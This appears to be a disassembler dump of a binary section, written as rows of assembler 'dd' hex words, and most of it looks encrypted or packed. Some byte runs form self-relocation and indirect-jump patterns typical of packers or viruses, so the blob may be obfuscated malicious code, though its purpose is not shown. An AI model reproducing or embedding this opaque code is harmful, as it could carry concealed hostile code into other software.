dd 0CB688967h, 317616C5h, 7F0EA846h, 0DC9A1697h, 4AD4322h
dd 83AB0144h, 0C5623652h, 0C25BEFA9h, 3ECD6215h, 61F4CDABh
dd 2CD1A449h, 0BD42D5B8h, 7C440002h, 2C21C94Fh, 58Bh, 0D2B637DAh
dd 4705AE4Fh, 0F1971CF2h, 6167886Ch, 92F6FB9Ch, 0E0B1E510h
dd 5020B5DBh, 0C65439AFh, 33DAAF3Dh, 387DEB2h, 62EAE27h
dd 81621271h, 2AA2432Ah, 2E53AB6Ch, 0A06AC352h, 0FF80CF29h
dd 0A90776ACh, 3D75731Eh, 0E861C983h, 54770E20h, 88179C79h
dd 1DAE1C2Ch, 0EAAC7511h, 0B1DC55Eh, 0C1AC3B71h, 56573E83h
dd 0D34C151Fh, 0CF02EAE0h, 517h, 460AAB4Eh, 0CB9922F3h
dd 656B9066h, 95FBFC90h, 64A6F00h, 542571ACh, 0C45439AFh
dd 3AD8AD23h, 0A74ED3B1h, 77334206h, 62D3AD3h, 75F68671h
dd 2AA2432Ah, 5D0FB047h, 480256CEh, 0D24C00A5h, 30586133h
dd 491F0455h, 2BBA8088h, 0A95E664Dh, 4D19996Ch, 9A000000h
dd 4B6785F0h, 0DA73D791h, 26770EF0h, 131535B3h, 29751215h
dd 904A04A2h, 0BCC1FB8h, 0DECE9D71h, 710BCC45h, 38502CBBh
dd 0BCC7310h, 3EEB8D71h, 52375156h, 583885C7h, 0B08C3557h
dd 9D83D26Ch, 2E556F49h, 4712936Ah, 0AD000000h, 0F79F85F0h
dd 9CF396F6h, 0F396F6FBh, 4DFE4A64h, 0C37511ABh, 0EA8B5A14h
dd 0A39D3612h, 74E3710Bh, 0B553FBE9h, 4F710BA3h, 0FC4107A8h
dd 44F29A1Fh, 0A325BE8Ah, 0CC9B710Bh, 4356D70h, 0B0550000h
dd 0D5B0D8DDh, 6C01E45Fh, 228D6B8Ch, 9215957h, 7512089Bh
dd 1C9AF299h, 0C84DC662h, 24B3710Bh, 0AD522548h, 56CF5B15h
dd 0AA710BC8h, 6029413Fh, 0BF40D7B6h, 9B2402Dh, 0C1BF0A5Fh
dd 404BA9FDh, 0B62404A2h, 646F0EE0h, 44D4B9F1h, 0C0BC29A3h
dd 0B136D9ACh, 0C7E590D7h, 0F6419FABh, 0A83F7511h, 5579BB20h
dd 17757A1Dh, 0F38F2D58h, 0EF96D57h, 4404D36Fh, 0F79116F9h
dd 6963886Ah, 99F3F484h, 0B2920B1Fh, 7BEE770Eh, 2C6EB2F2h
dd 0A331655Fh, 8C9CDAD8h, 7511D6C2h, 0B12AFEB8h, 0F710BD5h
dd 5D623558h, 9DF35E0Bh, 0B7936508h, 710BD61Eh, 6068F762h
dd 95F7FC9Dh, 0F39B6A2Ch, 71CF9AF2h, 0AE41194Dh, 0FF4B1DF1h
dd 710BD566h, 28A00FDAh, 0F5B2D6BDh, 0B3526C8Ah, 0D5B0D8E1h
dd 0CB09215Fh, 0CE6F0EDAh, 0D450593Fh, 8F506EFDh, 0B303BDA2h
dd 0FAAC329Ah, 84E06A0Fh, 0B01D6DCBh, 0CBB0D8DDh, 4C37A5E9h
dd 0DA3810AEh, 3F75117Dh, 8D2CA585h, 0C590710Bh
dd 73C9EE86h, 7CC18752h, 0E9741499h, 0C4E3E106h, 0C57F3BB9h
dd 9E723512h, 6CC8CFA1h, 0E39865Ch, 0C5A9046Fh, 28B738D8h
dd 66E30B5Dh, 0A2770E19h, 364E2A7Eh, 31996C77h, 37h, 6785F042h
dd 1CFC914Bh, 7B0D1D9Bh, 0F17511FFh, 3DDA626Ah, 0CB710BDFh
dd 0D170155h, 96936A41h, 8D0622DCh, 0F3710BD3h, 0D3AB2464h
dd 4A11710Bh, 0E0ECEEh, 2A0F0000h, 472AA243h, 0D95F09B2h
dd 0F0920B1Fh, 7BEE770Eh, 0E005E8FDh, 4D7205E8h, 43E7A11Fh
dd 770EF0CAh, 0E5C5A336h, 770EF471h, 0CFEB0CE3h, 0CDB0640Ch
dd 5A3E67ADh, 0CB563355h, 0E1B4196Dh, 90FB8CDCh, 0E1B15412h
dd 63D98CDCh, 0F3F70525h, 0F6657511h, 0F4AAD592h, 9BCE9E23h
dd 0C1D6720Ch, 7F6F0967h, 810DCEE8h, 6B92E084h, 402563D9h
dd 0D8460AAFh, 0E5E6335h, 0A12BCCA3h, 8EE35924h, 0D1A1C0E9h
dd 82E6D6CBh, 22177EAh, 0A1700000h, 18E5481Ch, 8668FD93h
dd 0F29A6F7Dh, 650A9FCDh, 7BBA085Ch, 23A14A2Fh, 5735BA5Eh
dd 0C58B30C2h, 74189D70h, 44DD6D2Dh, 0B871062Ah, 452A6B08h
dd 0B46E28BCh, 0EF0FB94h, 19133F77h, 3A3E9372h, 9DF04C1Bh
dd 28BDF5FAh, 31BA5B44h, 0C9A73257h, 6C013EA5h, 67626A8Fh
dd 55533E89h, 0FF7B0D1Dh, 6AF17511h, 0DF3DDA62h, 23F7710Bh
dd 0DF60F951h, 9DC710Bh, 0B5472AA2h, 4EDA5C0Ch, 710BDFD5h
dd 370DBC2Bh, 1C0053E3h, 40D4E8C8h, 0E093936Ah, 0E9000000h
dd 0E657D36h, 68C4B8ADh, 0A2432AEBh, 0FC996C2Ah, 0F08B0424h
dd 6AF1770Eh, 1C98CD9Fh, 78D0A849h, 770EF0DFh, 0A9238E5Dh
dd 0EF50D81h, 0D3B26C77h, 0BA2FB942h, 0EECF992h, 86684777h
dd 771A967Dh, 0E4491FA0h, 0CBFCEC11h, 0E18422C0h, 500EEA0Fh
dd 1209CAF8h, 0FA4E4875h, 710BC961h, 2FBD08DFh, 0BBF7F580h
dd 618A6C01h, 648DA38Bh, 960B6F09h, 307861EBh, 0D2EC7B27h
dd 6E090301h, 0E7EAF6C3h, 0EAFFE912h, 0DCBD500Eh, 0E6AB2404h
dd 4A117708h, 7304E9FFh, 9551374Eh, 7616E6D6h, 0EA9Bh
dd 0D7D8BB00h, 0AA4F2CB1h, 34BD5326h, 8429CD50h, 179C7DC0h
dd 1644F371h, 81147881h, 3598CCF1h, 0BB0E4267h, 0E4BDD3D4h
dd 2A0D86A2h, 0C1737106h, 8A6C0122h, 11E68B61h, 7E11E4E8h
dd 2A686B79h, 6C2AA243h, 0EC4785ABh, 0F1829C77h, 7EC580C8h
dd 3408EF82h, 0AE3EC351h, 7178113Bh, 11C4770Eh, 7B19EC8Ah
dd 2E731676h, 6FDD89DCh, 40248013h, 205E5C27h, 6B3BF08h
dd 0BE2EBD75h, 0FC713CD3h, 61D915BCh, 0EA71761Ah, 11E4491Fh
dd 967D8614h, 1AEB2EF6h, 6D2D1D85h, 99F3F498h, 0F15C6134h
dd 5B13477Bh, 0C85D33B4h, 95805325h, 0C1341669h, 0B4D44D5Fh
dd 6E280580h, 80B441DAh, 5D28BF05h, 4D2096F6h, 34606ABh
dd 8B2CC0A5h, 8D7A1EEFh, 6A79C4E9h, 0E6866283h, 0DB93C7FDh
dd 48DDB334h, 954800A5h, 3, 2A800328h, 5B26A647h, 0F45933B4h
dd 66CB9D26h, 967B6D92h, 0D90F801h, 0B805476Ch, 0D4B9D3D4h
dd 422FB942h, 0B4008B1h, 81E38953h, 4C3h, 4EB8100h, 87000000h
dd 895C241Ch, 9D68241Ch, 8900007Fh, 0DB68243Ch, 8900000Fh
dd 0B8502404h, 790842A7h, 1E35E8D1h, 0F758EA54h, 404625D0h
dd 0AB0560AAh, 890588BDh, 24048BC7h, 4C481h, 23680000h
dd 89000007h, 4832424h, 52580424h, 8BAh, 89C20100h, 24148B3Ah
dd 4C481h, 34FF0000h, 0C4815824h, 4, 57243C8Bh, 0C781E789h
dd 4, 4C781h, 3C870000h, 36E95C24h, 0FFFAB4h, 0B841A007h
dd 608C8A0h, 0E0FFC503h, 660D9F89h, 4AD6A094h, 1C656114h
dd 840D227h, 62435719h, 3AEA7C98h, 3034AFAEh, 407B24A7h
dd 34F43EF0h, 341A7AEh, 24EBh, 8 dup(0)
dd 0BDE90000h, 89000000h, 8C966B5h, 91858B06h, 8B06031Eh
dd 3001D85h, 0B0B58D06h, 8D0608C9h, 64BD485h, 0C3D0FF06h
dd 0E855h, 815D0000h, 8C9B6EDh, 91BD8306h, 106031Eh, 2C850Fh
dd 0B5FF0000h, 608C966h, 1D858Bh, 36350603h, 0FF348127h
dd 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h, 40E9C0h
dd 1C6A0000h, 0C96AB58Dh, 0FF560608h, 8C966B5h, 1D858B06h
dd 35060300h, 34812736h, 0C483D0FFh, 6AB58D0Ch, 8B0608C9h
dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h
dd 0BD830000h, 6031E91h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h
dd 0C98F858Dh, 85890608h, 6032529h, 10E8h, 66A88B00h, 23A428BBh
dd 0AEA0AE7Bh, 0D678F6BFh, 12E840h, 3EA0000h, 603BB5D5h
dd 0C5C3B4CAh, 5A14893Fh, 7A1C2D6Bh, 6E8h, 0CCB41D00h
dd 0BFCBD04Fh, 45BC2F2Dh, 0F55A585Bh, 6F2DC281h, 0EE90000h
dd 7F000000h, 44D4D012h, 59C32830h, 5095EF25h, 686Eh, 665E0000h
dd 919DB81h, 0F320C8Bh, 785h, 18E0F00h, 0FC000000h, 0ECE5C181h
dd 8E82F61h, 5E000000h, 0F51DEFFh, 66C96D77h, 5B0792B8h
dd 925AF181h, 8B66072Ah, 32C181D8h, 6649AA35h, 518E78BBh
dd 9830Fh, 8E0F0000h, 3, 8FFEB70Fh, 0EF803204h, 0DF8B66D6h
dd 4E02EE83h, 0E081664Eh, 0FE81F74Eh, 0FFFF91A0h, 0FF96850Fh
dd 8151FFFFh, 0F052D3F7h, 8D8D5F09h, 608CBF7h, 9E8h, 0A0A30D00h
dd 50AB588Dh, 9D8B4BA4h, 6031289h, 0D18D8958h, 0F9060331h
dd 0CF5AB866h, 1E185C7h, 5BD00603h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0FF6556C3h
dd 0E94A85DFh, 0BD8907D6h, 6032559h, 0D5B53160h, 61060329h
dd 12E9h, 8B456900h, 0EF79AEF2h, 9EC10299h, 0F1986244h
dd 0C7DA1DA7h, 321BD85h, 6, 198D2900h, 0FF060322h, 32961B5h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 992347Ch, 325D98Dh, 9195FF06h, 80060326h
dd 858B87F4h, 6032361h, 95FF006Ah, 6031FB9h, 7DEBC08Bh
dd 4B2A4BA5h, 0C56CA861h, 0F0C11C42h, 0B37E9BB8h, 26E52CDh
dd 0DC47DD90h, 0EE6D5AEEh, 0B63847B9h, 717E6914h, 96037DE3h
dd 1B621941h, 9DF6CAAAh, 8A8F1724h, 37766282h, 89FED335h
dd 991FE9E5h, 5D18B0D2h, 1ADE068Eh, 0F242CBE6h, 7B31DEDFh
dd 305DD2B4h, 40211A2Bh, 5027585h, 0C679E74Eh, 8AF0A31Dh
dd 65CCAA8Dh, 0CBC9E4CDh, 90E1C10Fh, 0DFB64522h, 702072B2h
dd 0AE43861Fh, 0FE818h, 0CD500000h, 923343A1h, 0B51242ABh
dd 6A4EDE12h, 0D6D68017h, 15C18159h, 0B6000063h, 685Fh
dd 0F08B0000h, 99853158h, 8B060312h, 0BD89013Ch, 6031275h
dd 1352F781h, 8B562C4Ch, 304759Dh, 0F7815A06h, 12BAA44Bh
dd 81F7B70Fh, 3E93A9EFh, 4D9D3339h, 5706032Ah, 48FD08Bh
dd 0F18B6601h, 7E9h, 0AD12EA00h, 0D77C8B4Fh, 8904E883h
dd 311B59Dh, 9CF88106h, 0FFFFF9Dh, 1385h, 0E5BD8900h, 0E9060313h
dd 2Bh, 0D316A3DBh, 0C84554D1h, 0BE9h, 7C6CB100h, 0AC58F826h
dd 0DAF21F3Ch, 0FFFF82E9h, 43A5E3FFh, 4F6DF597h, 6DBE944Bh
dd 0EBAC290Ah, 0E6D88C08h, 4000002Fh, 0CA0E902h, 0D0680000h
dd 0E90608CEh, 0FFFB7510h, 8CFC868h, 7506E906h, 4B68FFFBh
dd 0E90608D1h, 0FFFB74FCh, 8D21F68h, 74F2E906h, 0DC68FFFBh
dd 0E90608D2h, 0FFFB74E8h, 8D4ED68h, 74DEE906h, 8D68FFFBh
dd 0E90608D5h, 0FFFB74D4h, 8D6E768h, 74CAE906h, 1668FFFBh
dd 0E90608D8h, 0FFFB74C0h, 42D07E99h, 0F2600A2Ch, 6CFE98BCh
dd 92802E4Eh, 0D1FB7DCh, 5B78E139h, 0EB0BA9BBh, 7EA7C557h
dd 153076E4h, 40DDE775h, 0A94D7961h, 0FCF787A1h, 1F3AE005h
dd 0F8378444h, 7B0E1775h, 0F7825D78h, 0FC72F123h, 95B07207h
dd 543067F5h, 31F0D376h, 5BADA4F1h, 33BBDADBh, 0FA1A2F0h
dd 802AF450h, 0F9AE9833h, 47h, 0D3107482h, 3276BFCEh, 0E7F3D210h
dd 11A7A114h, 421E1A1h, 0E991B5E9h, 5EE851Ch, 8A0AADA4h
dd 37D3F7AFh, 6003F6B6h, 0A2254501h, 42DA79A1h, 97FAF6A0h
dd 0D06FAEh, 8B2A0000h, 92AC5E18h, 98B97B71h, 58E0FFAh
dd 0FBBB3AE0h, 0FBBB3ADCh, 9EBD3CDEh, 5B5A0424h, 0B3D66C19h
dd 82000517h, 0C67C268h, 0A7A1805Ah, 9609FCA4h, 0A7A1858Bh
dd 391CBEDBh, 20196866h, 0AF5A1771h, 66042147h, 54325667h
dd 0C55B9EF1h, 0D1ECADA4h, 7312B8DDh, 0A1A2F467h, 46632191h
dd 966325A4h, 0A3908232h, 742E0BE7h, 6DDA852h, 2E2748EBh
dd 2D1B143Dh, 781EF958h, 3AFAABA4h, 0E680A71Fh, 75113674h
dd 0C44F1665h, 756CE528h, 0A76h, 1E0CB2D5h, 8E9C3E58h
dd 382ACCE8h, 0AEBC627Ah, 0D94BEB08h, 8FB4ADCDh, 1F4765F7h
dd 0B2D39183h, 496C0210h, 34E1B3A1h, 0A94E0D5Dh, 0C8A3CBA1h
dd 2A38DE05h, 0F092B3F3h, 0EE8CA905h, 1074077Ch, 0B4741630h
dd 4BDB7A91h, 3A83C5F9h, 0DFF26D18h, 79ADA4A3h, 2D5938B9h
dd 11A1A2C3h, 9E489A72h, 7AE985Ch, 0E3h, 420629Ch, 0FA1F9762h
dd 0F61D5150h, 9BB9F550h, 7504DAFBh, 10880B3Ch, 346B0A65h
dd 19A7A1F1h, 2FDA80A5h, 6DC87297h, 75741231h, 0FEBC4633h
dd 8DBE3FDBh, 6E082F09h, 366C8BAEh, 33757412h, 0F92BBF16h
dd 6DD5A7A1h, 0E1C23998h, 66DEADA4h, 0E7C3C7F4h, 84264042h
dd 9BB64305h, 0A4BE3238h, 0B609D4ABh, 0ABA8BD20h, 83A666DEh
dd 4041E503h, 0E4DE7500h, 103527BFh, 0BDCC9AF5h, 8A0AABA8h
dd 862047FFh, 0C4932F16h, 1A05FC28h, 97Eh, 1604AACDh, 86943650h
dd 3022C4E0h, 0A6B45A72h, 0D143E300h, 87ACB5C5h, 173F7DEFh
dd 0AACBE97Bh, 41641A08h, 2CE98B99h, 0A94F0555h, 0D0ABF3A1h
dd 425DDE05h, 0A7A18014h, 0D77232E2h, 1D74BDDFh, 0A7A1804Dh
dd 4A4B0B8Bh, 8D4DED08h, 31546AF8h, 5DC9B89h, 0FBBB3AE0h
dd 0EF2E3CDEh, 6B93B454h, 0F716B74Bh, 6C7A553Ah, 0EAA7A1D9h
dd 569F6A2Ah, 9EF15432h, 0ADA4C517h, 82C0C171h, 2C66C367h
dd 4A986D05h, 68691134h, 9333514Dh, 0D7446FE6h, 0A8CE28E4h
dd 0B1CB8B0Ah, 6E2B4F0Dh, 149FC809h, 18995953h, 0A10EEEB3h
dd 2897750Ah, 0B9FF6D0Dh, 9CFFFE9Ch, 2AE8B9D5h, 0FB28A09h
dd 812542EAh, 0A5804000h, 0E16BD70Ah, 79DCFC77h, 0E83F7066h
dd 63168E2Ah, 12B8DD93h, 3FFDF093h, 791A2AE8h, 50B85BE3h
dd 8EC28464h, 71942EDBh, 27425BC9h, 0E8CD1A4Ch, 493CE42Ah
dd 0AB2AD0F5h, 520FE9Ah, 0F78FB4EEh, 0CE588302h, 4BC20EDh
dd 89652116h, 0D00AD5ACh, 0EC873EE8h, 0AD140680h, 0F34F6F4h
dd 43367677h, 963057CDh, 0B0955517h, 0B534DAF2h, 0C6F06F3h
dd 3EEE2F45h, 0A446A67Dh, 1B4BF4F2h, 4B06Bh, 47627000h
dd 0ED8C264Fh, 0A7A180FDh, 77EE9B1Bh, 0A7A18063h, 0A190DA90h
dd 1D3975A7h, 2509887Dh, 5EA7A194h, 0A7A19414h, 280DE9ADh
dd 0A4888E49h, 0DACA4AADh, 22BE8685h, 0FBC4DF92h, 4E000007h
dd 0DD93812Dh, 6D0311B9h, 0FFBDAF47h, 8D2331DDh, 4A52C066h
dd 6C0A2932h, 0F89AB8FEh, 952D546Ah, 26C4E187h, 0D0B36A34h
dd 0A1A95186h, 5532870h, 8ABB3AE0h, 0BA15300Eh, 0ADAA4EFBh
dd 280A51Dh, 0E4E4FE3h, 0F7822C4Ch, 0A2FC476Fh, 922D08E6h
dd 0D5421D5Eh, 0C4DF7A7Eh, 0A1A96D92h, 0AC1B46Ch, 0F48EB7EFh
dd 87721036h, 0AC5D8D0Ch, 0E88BA6ABh, 6DC0CFACh, 637716F3h
dd 9DABAD81h, 44FC5025h, 0EE84ADE1h, 7D8ADEFh, 0E280A61Ch
dd 0BCEBBC17h, 4E4A5B0Eh, 2FFAD570h, 0A916C99Ah, 0BFDBE8E9h
dd 0DE6F46E3h, 7A6CD4D8h, 0F9F89AB8h, 0F8F9A1C5h, 1D38F8B8h
dd 43E684A1h, 0C1783BA0h, 793B0896h, 3AC8BD5Dh, 29B96184h
dd 0E42EBA80h, 27CBD28Fh, 1A000007h, 0A9CF5D01h, 397FED8Dh
dd 0CBE97B1Bh, 591F0DB1h, 0BE8E9C3Ah, 38DE055Eh, 0D46E942Ah
dd 61012046h, 0F298BDF3h, 0ECC75E60h, 0A1A952FAh, 747F7404h
dd 73133010h, 53703272h, 0B27232B3h, 9C753C97h, 2F97ADA4h
dd 832F6B0Ah, 0A89E1379h, 0C5E0A2DDh, 6A0FA425h, 5C3A5E92h
dd 922FE6F9h, 0AC49ABA7h, 0A7A985D5h, 3C373ABh, 0A97A7011h
dd 0C991ABA7h, 68ABA7A9h, 822C4C2Ch, 65834103h, 4D2401C1h
dd 0A1AC67CAh, 1477762Eh, 0B5AF7747h, 0F89EBAF8h, 5332C7F9h
dd 0B5AF771Ah, 42F4B5D0h, 7275AEEh, 0ECF6A711h, 49C903CDh
dd 6B8796ADh, 4C4844Dh, 0C9DCCF94h, 0BAA55C2Eh, 66Ah, 210BED9h
dd 0B2A04A6Ch, 2C3ED8FCh, 52C06E8Eh, 0CD5FF71Ch, 9BB8A1F9h
dd 2B4B69FBh, 0BEE78597h, 55703624h, 1DA7B5h, 0A95239A1h
dd 3CB7C7A1h, 17321074h, 0AA4EFDBCh, 29BF56ADh, 6E785B61h
dd 0E8A1A97Bh, 6FCB8928h, 5A9956E1h, 8343126Eh, 87A212F6h
dd 0D7C5BDECh, 597377BCh, 0B47434B5h, 6C8BAEC1h, 0A9F44515h
dd 0D0769DA1h, 43F39FD1h, 33D9FCB6h, 31737214h, 0D7BCE371h
dd 86DDF8F9h, 0A9F4BB2Fh, 28DD45A1h, 59CB6F8Ah, 5D5CFE1Bh
dd 5F5EFC19h, 0C8BFF81Fh, 0C883CE9h, 9EDCDD9Dh, 7ED1D07Eh
dd 8FA48EBCh, 0E1A674EDh, 51F4A60Bh, 460F5B3Ah, 0A8C9A1A9h
dd 0D242C6AAh, 0C2B777AEh, 2363AB81h, 24646509h, 12B8DD51h
dd 4A691D00h, 97D2AE93h, 0E9000001h, 17321074h, 0A483A5BCh
dd 92B4EEADh, 0C2B7E9E8h, 0B4D7D64Eh, 0A1A2833Ch, 8149A3E0h
dd 7E1C2AEEh, 0A9CE0143h, 316C4D0Dh, 89C87B9Fh, 1F7BA85Dh
dd 548FE643h, 0B0ABA751h, 4E21EA02h, 0ABA75418h, 7F7E3EE6h
dd 0BDD87D3Dh, 0A754B422h, 27D242ABh, 9EC4FEDFh, 0A228504h
dd 6ECC0E87h, 0E24035F5h, 8C0623C7h, 0BA35C06Ah, 3D58DDF8h
dd 0A74534A2h, 0B352C2ABh, 0ABA74527h, 87A361D1h, 0E2A2E2E3h
dd 6B474370h, 5434F7CEh, 0D040A1A2h, 5534BED1h, 4B08B5A8h
dd 0CE8531F1h, 47FEA291h, 0DB000000h, 0E6F9CF38h, 458425C1h
dd 229B6E67h, 63032062h, 1AF5C362h, 0AAF7157Bh, 0B2D61FEAh
dd 5313AFD6h, 0B4F09FF6h, 0A41CADA4h, 0B6084225h, 9F34A1A2h
dd 69B96DBDh, 1837AE98h, 0A2C2D1B9h, 82772FA1h, 9452h
dd 0E0056900h, 0DCFBBB3Ah, 0DEFBBB3Ah, 0DCF9BD3Ch, 76AD2C3Eh
dd 0BCA7A185h, 2A63F199h, 0DEAB4B68h, 0B0957115h, 0B332D8F2h
dd 0F6C904F1h, 0ADA72BFAh, 0B5F364Dh, 0F5A1A433h, 6CD4B84Dh
dd 17AFD5C9h, 0C8EFA762h, 597E3C2Eh, 9902DBDh, 0E29F22C1h
dd 459FBh, 2FCFE800h, 0BF5B7F3Dh, 4DE90FADh, 0DF7F99DFh
dd 6E082F4Dh, 0CB90E8FCh, 5A180AACh, 0F6B4A63Ch, 832133CFh
dd 0C56C466h, 5428BE11h, 86D6A1A9h, 38DE052Dh, 0C971942Ah
dd 6816366Ch, 0B0423769h, 2EC362CBh, 87D3B288h, 71A7A10Bh
dd 3A63E0C1h, 4AF00AC8h, 38E207BFh, 3AE005B9h, 0AC26B328h
dd 47A7A200h, 0A7A1000Fh, 51F4D2B6h, 0AACEBF7Eh, 5859D9ADh
dd 4C6C267Dh, 0CD97C3A2h, 0B161A1A8h, 9F7B1FC4h, 6EE21BBAh
dd 7C8FA3DAh, 50735289h, 0E4ABAD02h, 301BAC3Ch, 69E828C8h
dd 3B96Eh, 0CF6F8800h, 5FFB1F5Dh, 0ED89AFCDh, 7F1F397Fh
dd 0EA8CFEDh, 6BF0081Ch, 0FAB8AA4Ch, 96D446DCh, 2341D36Fh
dd 0ACF66406h, 55481E71h, 0E6B6A1A9h, 3AE0058Dh, 4269CBBh
dd 50256766h, 3613B7D2h, 802EB81Bh, 6828A7A1h, 4642719Dh
dd 33F2CD68h, 45ADA490h, 425D78DDh, 0A1A29114h, 2C4732E2h
dd 0C793F209h, 78A1A291h, 0A2917119h, 7B178FA1h, 1F57CEBBh
dd 23A1A291h, 0AC5E886Ch, 0AE9892h, 34B7E861h, 0A26C0D5Dh
dd 6A4BCBA1h, 0F782D50Dh, 394Dh, 10745600h, 11BC1732h
dd 33ADA491h, 288BA683h, 0A1A292BEh, 522DD858h, 0A292BB33h
dd 6CC887A1h, 2ED0E8AAh, 0E518EDAFh, 0AE988D31h, 0EFAAh
dd 0F376F00h, 0F7B75771h, 0C3629902h, 0AFA924AFh, 5DD1A4BAh
dd 53139238h, 0CA9CF734h, 34A7A189h, 89CDCC8Ch, 8FCFCE6Ch
dd 3F52C06Ah, 0A7A18CE0h, 67812742h, 0C686C6C7h, 7B5A7154h
dd 0A7A18E6Fh, 0E65C29E9h, 83A627C3h, 4140E203h, 8E5F0B6Ah
dd 0F9B9A7A1h, 3874C39h, 0B8A30227h, 5CADA4AAh, 454176E4h
dd 0EDAD516Bh, 55712D48h, 0D41C0B5h, 0EBABA403h, 977AC1CAh
dd 0BD7D1638h, 59FD1A98h, 98EB5CBh, 14532379h, 8919D9B3h
dd 28C3A708h, 5F435A17h, 0E2000002h, 713725C9h, 1A7B555h
dd 93D143E3h, 2147D579h, 0E6F66402h, 0A6CD96h, 9C365C12h
dd 29C9E88Eh, 0BA60853Bh, 0B40F16A8h, 0A1A95622h, 5378CDCh
dd 0B9DAD9DEh, 9B3405Eh, 0C0C2DB49h, 0BD7104A6h, 0F81F9798h
dd 0A92BBF5Eh, 6DD5A7A1h, 0C79EBFADh, 267050FCh, 61DAAF27h
dd 7668C362h, 77E5FEECh, 0EAEB93B5h, 7216DFAAh, 0B3DEB194h
dd 14ADA447h, 25D07E9Eh, 9FFEFFA7h, 0A1A267D7h, 16D034EBh
dd 0AE97B864h, 0ECDDh, 29DB800h, 0A1A27354h, 9607F2A2h
dd 0BB3AE005h, 0BB3ADCFBh, 0A185C5D8h, 6E0C29A7h, 0FD9BBEFCh
dd 1F5DFD4h, 94F4BB5Bh, 0D393D5D4h, 0CBA5E1D2h, 4AF015ABh
dd 8949094Bh, 0A30AD5ACh, 56CEADA4h, 0EDFDD4F3h, 6BA1A2AAh
dd 0A3378EABh, 5DA1A2AAh, 0DDC210E5h, 0B1D9B8B9h, 4FA1A2AAh
dd 0AA87D3B2h, 0C171A1A2h, 4DE44101h, 0E71F6B45h, 8E4530BBh
dd 0A46E1437h, 0F3569ABh, 960E8277h, 35D9F3B3h, 0EA098540h
dd 0A0FFDE4Ch, 32E0AE01h, 0D1B0D4B7h, 0ABA9C789h, 783ACF77h
dd 0B02BBB5Bh, 7F28C39Dh, 1309B82h, 0F8130000h, 84A6C456h
dd 123674E6h, 0A8C0E674h, 31561406h, 67B78795h, 2331D5F2h
dd 5FCD658Dh, 0C85AF819h, 79EB8FAAh, 0F3E7FE27h, 0DA1A958h
dd 2062067Dh, 22626303h, 1EB8DF57h, 0AF4B6E0Ch, 0FB1A98BDh
dd 53266667h, 6C4762EAh, 0A7A1807Ah, 0D9BD1C84h, 805A037Ch
dd 193CF683h, 26B9D471h, 0A7A1FCB0h, 0B8373483h, 1AF61DDDh
dd 0B194EF9Ah, 0BF3ED4FDh, 8FAA08FDh, 68FF600Ah, 9A58A7E3h
dd 0A6E6E77Bh, 434774E6h, 24E3C267h, 39ADAA32h, 0CEBB6385h
dd 0FCDBDA5Ah, 7104A2C6h, 60F298BDh, 2832742h, 21A90827h
dd 12A1A8C9h, 0E03A7E96h, 9D05E9BEh, 563C69E8h, 7883D786h
dd 78791D3Ah, 0D4821D38h, 22885658h, 6ECE8772h, 1604A6C3h
dd 0BD597F37h, 35897C3Ch, 0B0CF6A10h, 565889D1h, 0A5CD7788h
dd 0CCC8C0Dh, 63230679h, 5ED4A145h, 7411903Eh, 3F5AC527h
dd 0CEEB899Bh, 58607649h, 269E8856h, 5836A003h, 50C08856h
dd 79EB590h, 88565853h, 6100F5ADh, 1576h, 44617D00h, 27B31229h
dd 0D1A7A180h, 80D68061h, 7020A7A1h, 0E2051085h, 0DCF9BD3Ch
dd 0D6FFBF3Eh, 0D9F9BD3Ch, 2 dup(0DDFAB839h), 0E2FAB839h
dd 0DBF9BD3Ch, 0DEF8BA3Bh, 52FABD3Ch, 0C281E289h, 4, 5204EA83h
dd 42474FFh, 24048F5Ah, 3167685Ch, 4890000h, 550E6824h
dd 14890000h, 52685124h, 591C2513h, 0BA4AB850h, 0C101E9E3h
dd 59C88958h, 430B68h, 24248900h, 4240481h, 5A000000h
dd 7FE968h, 24048900h, 8B08428Fh, 89512414h, 4C181E1h
dd 83000000h, 0C8704C1h, 34FF5C24h, 0C4835824h, 687EE904h
dd 0ACE0FFFBh, 6BB8B7A4h, 30608D9h, 34E0FFC5h, 29407020h
dd 0A631647Ch, 0B12866B2h, 1C3C89DAh, 0DE7FD7B0h, 0D079B9D3h
dd 0E06D1EC3h, 0D8556F49h, 7775CC01h, 3C7B84B6h, 380AF502h
dd 0D559D655h, 1C2D2A34h, 0C2452984h, 9B2EF6CFh, 384ECBA4h
dd 0AA2FCA12h, 8D5C024Bh, 8DAEB8Dh, 0DD858B06h, 8906032Eh
dd 331D18Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 6B18FE80h, 6020C2EBh, 858BB1B9h
dd 60311E1h, 2AB59523h, 85C70603h, 60301E1h, 5DC8h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 12C35343h, 0ED3F4923h
dd 0B86668B2h, 85C72C7Fh, 60321BDh, 0
dd 26B18D89h, 0B5FF0603h, 60323C5h, 2109B58Bh, 95FF0603h
dd 6032691h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0E6C35343h, 95FF006Ah, 6031FB9h, 39EBC08Bh, 0B53E6D6Ah
dd 2C977456h, 13F33D42h, 9D282A56h, 5F2067B6h, 1D1FCD2Eh
dd 0A89D52C2h, 72A31798h, 4B396DE7h, 72887CCEh, 0D36A626Eh
dd 0D6378125h, 0C9889955h, 0C23544F7h, 0ABE9FAh, 8D500000h
dd 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h
dd 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h
dd 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h
dd 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh
dd 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh
dd 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh
dd 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh
